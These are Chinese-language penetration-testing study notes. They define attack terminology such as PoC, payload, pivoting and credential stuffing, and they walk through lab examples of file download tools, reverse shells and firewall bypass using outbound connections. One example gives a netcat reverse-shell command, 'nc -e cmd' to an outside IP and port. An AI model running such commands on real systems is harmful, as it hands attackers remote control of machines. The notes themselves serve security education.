P1.基本概念
1.POC/EXP
POC(proof of concept)常指一段漏洞验证代码;EXP(exploit)指利用系统漏洞进行攻击的动作
PoC是证明漏洞存在的,而 Exp 是利用这个漏洞进一步进行攻击,先有POC,才有EXP
2.Payload/shellcode
payload(有效攻击负载)指的是漏洞利用载荷利用管道,我们在漏洞利用成功后,以什么形式给到你,比如漏洞利用成功后权限以怎么的形式给到你,它可以走HTTPS的协议,也可以走TCP协议或者其他协议,走的协议和管道权限怎么给到你的,这个过程中利用的通道成为paylload。
shellcode(可提权代码)在免杀的时候经常会提到,指的是漏洞载荷漏洞代码。
3.反弹/回显
反弹将权限反弹回来,假设你有webshell权限在上面进行操作,可以将权限移交到其他服务器上或者其他的地址上,这种行为称为反弹(后面会有反弹实例)。
4.跳板
为了更好地隐蔽自己,一些网络攻击者通常并不直接从自己的系统向目标发动攻击,而是先攻破若干中间系统,让它们成为“跳板”,再通过这些“跳板系统”完成攻击行动。简单地说,跳板攻击就是通过他人的计算机攻击目标.
5.黑盒测试/白盒测试
黑盒测试:没有源代码,只有一个目标,目标什么情况都不清楚
白盒测试:有源代码,知道对方服务器上开了什么东西,有没有网站,网站上面有什么东西,这些都清楚。
6.社会工程学/撞库:
世界第一黑客凯文·米特尼克在《欺骗的艺术》中曾提到,人为因素才是安全的软肋。很多企业、公司在信息安全上投入大量的资金,最终导致数据泄露的原因,往往却是发生在人本身。你们可能永远都想象不到,对于黑客们来说,通过一个用户名、一串数字、一串英文代码,社会工程师就可以通过这么几条的线索,通过社工攻击手段,加以筛选、整理,就能把你的所有个人情况信息、家庭状况、兴趣爱好、婚姻状况、你在网上留下的一切痕迹等个人信息全部掌握得一清二楚。虽然这个可能是最不起眼,而且还是最麻烦的方法。一种无需依托任何黑客软件,更注重研究人性弱点的黑客手法正在兴起,这就是社会工程学黑客技术。
全面了解社会工程学见https://blog.csdn.net/m0_63715896/article/details/122179488
撞库:
“撞库”(Credential Stuffing Attack)在网络安全中是一个古老的概念,按中文的字面意思解读,就是“碰撞数据库”的意思。“碰撞”意味着碰运气,即不一定能成功;而“数据库”中往往存储着大量敏感数据,比如我们登录一个网站所需要的用户名、密码,再比如手机号、身份证号等个人隐私信息。“撞库”在英文中的表述为 Credential Stuffing(密码嗅探),也非常直白的说明了撞库的主要场景:试图获取正确的账号/密码组合,大白话就是“盗号”。
现实中发生的撞库攻击主要是攻击者通过一些自动化工具(如脚本)针对要撞库站点的相关接口(比如登录接口)批量提交大量的用户名/密码组合,记录下其中能成功登录的组合并盗取该账号,为接下来做其他的坏事(比如将银行账号中的资金转走,或是游戏账号中的虚拟物品出售,或是盗用他人身份发表一些言论等等)做好准备。
全面了解撞库见https://blog.csdn.net/weixin_44549063/article/details/113518965
7.权限
文件权限&服务权限&用户权限等(权限是一个比较重要的知识点,提权,当前权限无法完成你的目标,例如你想得到网站上面的某个文件、或者获取数据库、在目标主机上安装一个应用等,文件权限:删除、修改、读取、写入)
8. 常用命令
Windows&Linux常见命令(后期用的时候网上查就可以了)
P2.实例_1文件上传下载-解决无图形化&解决数据传输
在渗透测试中我们一般都是在黑框框中敲命令来进行一些攻击,通常不会有图形化界面让你傻瓜式操作,这时我们就要吧自己的安全脚本下载到对方的服务器上。
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等
Linux:wget curl python ruby perl java等
[~]#棱角 ::Edge.Forum*
实例描述:自己搭建网站或FTP站点,将下载好的nc.exe上传到网站上以供下载
实例过程:Vmware采用 桥接模式和本机处于同一局域网可从服务器的ftp站点下载nc.exe
P3.实例_2:反弹Shell命令-解决数据回显&解决数据通讯
所谓数据回显指的是命令行终端敲入命令执行后,对方没有回应你不知道命令执行成功了没
所谓数据通讯指的是交互式等待你输入\回答这类情况,如你在Linux执行 一些命令的时候需要输入密码,系统会等待你的输入
反弹shell实例描述:
服务器使用命令nc -lvvp 5577监听本地的5577端口
虚拟机nc -e cmd 47.75.212.155 5577将cmd给到47.75.212.155服务器的5577端口
监听到的是本地主机的出口IP,之后服务器的命令行就获取到了虚拟机的命令行权限,这就是反弹,服务器命令行就将虚拟机的cmd权限接过来了。
P4.实例_3:防火墙绕过与正反向连接
内网与外网的区别:内网可以直接访问外网服务器,但外网的服务器不能直接访问到内网IP
比如:我在cmd中ping www.baidu.com,我可以知道百度服务器的IP地址;但如果百度服务器那边想要访问我的IP地址,是不能直接访问的,因为我的IP地址是内网,我的数据流量都是从我的出口路由器发出的,因此百度服务器只能找到这个路由器端口的IP地址。
防火墙策略:入站检测严格,出站检测宽松
正向连接:主动找别人、反向连接:让别人主动找你(看以谁为基准)
正向/反向连接:
假设一台win10电脑和一台Windows的服务器,现在win10计算机防火墙处于打开状态,本地开启监听,服务器将自己的cmd命令行通过shell反弹给到问0电脑会反弹失败,因为Windows服务器访问win10电脑,针对win10防火墙是入站,防火墙入站检测严格,因此会反弹失败。
如果换Win10把自己的cmd给到Windows服务器,针对本地的防火墙,就是出站,windows服务器开启监听,可以成功反弹。
win10->windows服务器针对Win10防火墙是入站,正向连接
Windows服务器->winn10针对win10防火墙是出站,反向连接